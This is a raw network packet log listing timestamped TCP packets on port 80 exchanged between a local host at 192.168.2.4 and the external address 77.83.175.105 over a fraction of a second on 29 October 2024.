Oct 29, 2024 04:17:22.495986938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.496007919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.536890030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.536953926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.537208080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.537219048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.537250042 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.537266970 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.578248978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.578330994 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.578514099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.578552961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.612035036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.612056971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.612066984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.612102985 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.612169981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624118090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624128103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624136925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624166012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624176979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624176025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624187946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624198914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624208927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624233007 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624257088 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624284983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624294996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624304056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624314070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624321938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624330997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624336958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624341011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624358892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624366045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624375105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624377966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624383926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624393940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624394894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624411106 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624413967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624424934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624433994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624444008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624450922 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624453068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624470949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624469995 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624497890 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624497890 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624524117 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624571085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624581099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624592066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624602079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624612093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624622107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624623060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624633074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624641895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624643087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624654055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624664068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624664068 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624680042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624680996 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624713898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624720097 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624720097 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624726057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624746084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624751091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624754906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624766111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624768019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624777079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624787092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624793053 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624793053 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624798059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624808073 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624813080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624818087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624829054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624838114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624842882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624850035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624861956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624886036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624886036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624896049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624906063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624916077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624926090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624937057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624942064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624946117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624955893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624959946 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624965906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624975920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.624975920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.624986887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625020027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625020027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625032902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625044107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625060081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625077963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625082970 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625088930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625098944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625099897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625109911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625119925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625122070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625130892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625140905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625140905 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625169039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625188112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625226021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625236034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625245094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625257015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625267029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625277042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625278950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625278950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625292063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625303030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625303984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625330925 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625349045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625382900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625394106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625402927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625416994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625426054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625431061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625431061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625438929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625448942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625451088 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625459909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625468969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625469923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625479937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625492096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625494957 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625503063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625513077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625518084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625518084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625524044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625534058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625543118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625547886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625557899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625562906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625567913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625582933 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625593901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625601053 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625605106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625613928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625633001 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625637054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625647068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625657082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625657082 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625665903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625673056 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625675917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625693083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625694990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625705957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625715971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625722885 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625725985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625736952 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625746012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625746012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625746012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625756979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625771999 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625792027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625837088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625847101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625855923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625865936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625878096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625888109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625895023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625895023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625900030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625910997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625920057 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625920057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625943899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625951052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625961065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625962019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.625969887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625979900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625989914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625998974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.625998974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.626009941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.626017094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.626027107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.626039982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.626039982 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.626049995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.626060009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.626060009 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.626070976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.626080036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.626081944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.626091003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.626105070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.626105070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.626127958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.655941963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.655952930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.655963898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.656003952 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.656092882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730604887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730635881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730650902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730684996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730698109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730704069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730715036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730726004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730741978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730756044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730766058 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730767012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730766058 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730766058 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730777025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730787992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730796099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730814934 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730833054 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730882883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730891943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730901003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730912924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730922937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730935097 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730938911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730950117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.730957031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.730997086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731000900 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731007099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731018066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731028080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731038094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731049061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731056929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731067896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731076002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731076002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731077909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731086969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731097937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731105089 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731118917 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731121063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731137037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731137991 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731157064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731164932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731174946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731183052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731203079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731203079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731215000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731224060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731225967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731249094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731250048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731267929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731291056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731300116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731307983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731358051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731358051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731380939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731390953 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731400013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731414080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731430054 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731451988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731467009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731477022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731486082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731498003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731507063 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731511116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731520891 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731520891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731539965 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731559992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731586933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731595039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731605053 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731625080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731646061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.731970072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.731985092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732000113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732004881 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.732009888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732022047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732031107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732033014 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.732043028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732048035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.732053041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732064009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732074022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732074976 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.732084036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732090950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.732094049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732104063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732115030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732115984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.732125998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732137918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.732140064 CET	49755	80	192.168.2.4	77.83.175.105
